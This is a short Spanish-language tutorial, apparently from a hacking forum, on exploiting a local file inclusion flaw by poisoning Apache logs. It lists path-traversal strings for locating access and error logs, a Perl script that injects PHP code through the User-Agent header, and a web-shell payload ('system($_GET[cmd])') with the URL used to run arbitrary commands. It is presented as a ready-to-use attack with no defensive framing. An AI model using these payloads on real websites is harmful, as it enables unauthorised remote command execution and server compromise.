En este pequeño tuto explicaré como ejecutar codigo php/comandos en una web con lfi inyectando en el log.
¿Que necesitamos?Una web con LFI
Encontrar el path al log
ProcedamosLo primero que necesitamos saber es donde esta el log, para ello debemos ir inyectando paths por defecto hasta encontrarlo, a continuacion pongo una lista con algunos paths comunes (access log de apache, pero tambien se puede inyectar en otros logz)
../apache/logs/access.log
../../apache/logs/access.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
Una vez lo hemos encontrado, necesitamos inyectar nuestro codigo, lo inyectaremos en el user-agent por ejemplo, para ello podemos usar alguna extension de firefox que nos permita modificarlo, o podemos crearnos una pequeña tool:
#!/usr/bin/perl
#vZack.com
use IO::Socket;
$pag=$'pagina.com';
$peticion ="GET / HTTP/1.1\nHost: $pag\nUser-Agent: <? phpinfo(); ?>\nConnection: Close\n\n";
$socket=new IO::Socket::INET(PeerAddr=>$pag, PeerPort=>80, Proto=>'tcp');
print $socket $peticion;
close($socket);
Una vez inyectado abrimos la url del lfi con la path del log y vemos que el codigo php ha sido ejecutado

Para por ejemplo ejecutar comandos, podemos inyectar:
<? system($_GET[cmd]); ?>
y ejecutamos: lfi.php?lfi=../../log&cmd=comando
Esto es todo.
Salu2